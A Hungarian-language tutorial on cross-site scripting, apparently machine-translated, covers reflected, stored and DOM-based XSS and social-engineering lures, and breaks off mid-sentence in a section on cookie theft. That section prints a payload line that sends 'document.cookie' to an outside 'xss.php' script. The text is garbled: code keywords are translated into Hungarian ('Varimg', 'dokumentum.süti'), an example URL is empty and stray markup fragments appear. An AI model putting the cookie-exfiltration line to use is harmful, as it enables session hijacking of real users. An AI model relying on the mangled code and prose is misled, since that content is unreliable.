A cross-site scripting (röviden XSS) egy széles körben elterjedt sebezhetőség, amely számos webalkalmazást érint. Lehetővé teszi a támadó számára az injekció beadását rosszindulatú kód weboldalra oly módon, hogy az oldalt felkereső felhasználó böngészője végrehajtsa ezt a kódot.

Általában egy ilyen sérülékenység kihasználásához némi interakcióra van szükség a felhasználóval: vagy a felhasználót a fertőzött webhelyre csábítják szociális tervezés, vagy csak várja meg, amíg felkeresi ezt az oldalt. Ezért a fejlesztők gyakran nem veszik komolyan az XSS sebezhetőségeit.

De ha nem szüntetik meg őket, az komoly biztonsági kockázatot jelenthet.

Képzeld el, hogy a WordPress adminisztrációs panelen vagyunk – tesszük hozzá új tartalom. Ha ehhez XSS-sebezhető bővítményt használunk, az új rendszergazda létrehozására, tartalom módosítására és egyéb rosszindulatú műveletek végrehajtására kényszerítheti a böngészőt. A webhelyek közötti szkriptek szinte teljes ellenőrzést biztosítanak a támadó számára a legfontosabbak felett szoftver manapság ez egy böngésző.

XSS: Injekciós sebezhetőség

Bármely webhely vagy alkalmazás több adatbeviteli ponttal rendelkezik – űrlapmezőkkel egészen az URL-ig. A bevitel legegyszerűbb példája az, amikor beírunk egy felhasználónevet és jelszót egy űrlapba:

Nevünket a webhely adatbázisában tároljuk, hogy később kapcsolatba léphessen velünk. Bizonyára, amikor bármely webhelyen felhatalmazást kapott, személyes üdvözlést látott "Üdvözlöm, Ilja" stílusban.

Erre a célra a felhasználóneveket tároljuk az adatbázisban.

A befecskendezés olyan eljárás, amikor egy speciális karaktersorozatot adnak meg név vagy jelszó helyett, és arra kényszerítik a szervert vagy a böngészőt, hogy a támadónak megfelelő módon válaszoljon.

A webhelyek közötti szkriptelés olyan kódot fecskendez be, amely műveleteket hajt végre a böngészőben egy webhely nevében. Ez történhet a felhasználó értesítésével és a háttérben, az ő tudta nélkül.

Hagyományos XSS támadások:

Tükrözött (nem állandó).

A tükrözött XSS-támadás akkor indul el, ha a felhasználó egy speciálisan kialakított hivatkozásra kattint.

Ezek a sérülékenységek akkor fordulnak elő, amikor egy webes kliens által szolgáltatott adatok, leggyakrabban HTTP-kérés paramétereiben ill HTML űrlap, közvetlenül kiszolgálóoldali szkriptekkel hajtják végre, hogy elemezze és megjelenítse az adott ügyfél eredményoldalát, megfelelő feldolgozás nélkül.

Tárolt (állandó).

A tárolt XSS akkor lehetséges, ha a támadónak sikerül rosszindulatú kódot juttatnia egy kiszolgálóra, amely a böngészőben minden alkalommal végrehajtódik, amikor az eredeti oldalt megnyitják. A sérülékenység klasszikus példája a HTML formátumú megjegyzéseket lehetővé tevő fórumok.

Ügyféloldali kód (JavaScript, Visual Basic, Flash stb.) által okozott sebezhetőségek:

Más néven DOM modellek:

Tükrözött (nem állandó).

Ugyanaz, mint a szerver oldalon, csak ebben az esetben lehetséges a támadás, amiatt, hogy a kódot a böngésző feldolgozza.

Tárolt (állandó).

Hasonlóan a szerver oldalon tárolt XSS-hez, csak ebben az esetben a rosszindulatú komponens a kliens oldalon kerül tárolásra a böngésző tárhely használatával.

Példák az XSS sebezhetőségeire.

Érdekes módon a legtöbb esetben, amikor ezt a sérülékenységet leírják, a következő kóddal félünk:

http://www.site.com/page.php?var=

Kétféle XSS-sebezhetőség létezik – passzív és aktív.

Aktív sebezhetőség veszélyesebb, mivel a támadónak nem kell egy speciális hivatkozáson keresztül rácsalogatnia az áldozatot, csak be kell juttatnia a kódot az adatbázisba vagy valamilyen fájlba a szerveren. Így az oldal minden látogatója automatikusan áldozattá válik. Integrálható például SQL injekció (SQL Injection) segítségével. Ezért nem szabad megbíznia az adatbázisban tárolt adatokban, még akkor sem, ha azokat a beillesztés során feldolgozták.

Példa passzív sebezhetőség megtalálható a cikk legelején. Itt már szükség van a social engineeringre, például egy fontos levélre a webhely adminisztrációjától, amelyben arra kérik, hogy a biztonsági másolatból történő visszaállítás után ellenőrizze fiókbeállításait. Ennek megfelelően tudnia kell az áldozat címét, vagy csak egy spam levelezőlistát kell rendeznie, vagy bejegyzést kell tennie valamilyen fórumon, és még az sem tény, hogy az áldozatok naivak lesznek és követik a linkjét.

Ezenkívül mind a POST, mind a GET paraméterek passzív sérülékenységnek lehetnek kitéve. A POST paraméterekkel persze trükkökre kell menni. Például egy átirányítás egy támadó webhelyéről.

">

Ezért a GET sebezhetősége valamivel veszélyesebb, mert az áldozat könnyebben észreveszi a rossz tartományt, mint további paraméter(bár az url kódolható egyáltalán).

Cookie-k ellopása

Ez az XSS-támadás leggyakrabban idézett példája. A webhelyek időnként értékes információkat tárolnak a Cookie-kban (esetenként a felhasználó bejelentkezési nevét és jelszavát (vagy annak hash-jét is), de a legveszélyesebb az aktív munkamenet ellopása, ezért ne felejtsen el rákattintani a „Kilépés” linkre az oldalakon, akár ha az otthoni számítógép. Szerencsére a legtöbb erőforráson a munkamenet élettartama korlátozott.

Varimg = new Image(); img.src = "http://site/xss.php?" +dokumentum.süti;

Ezért bevezettük az XMLHttpRequest domain korlátozásait, de ez nem ijesztő egy támadó számára, mivel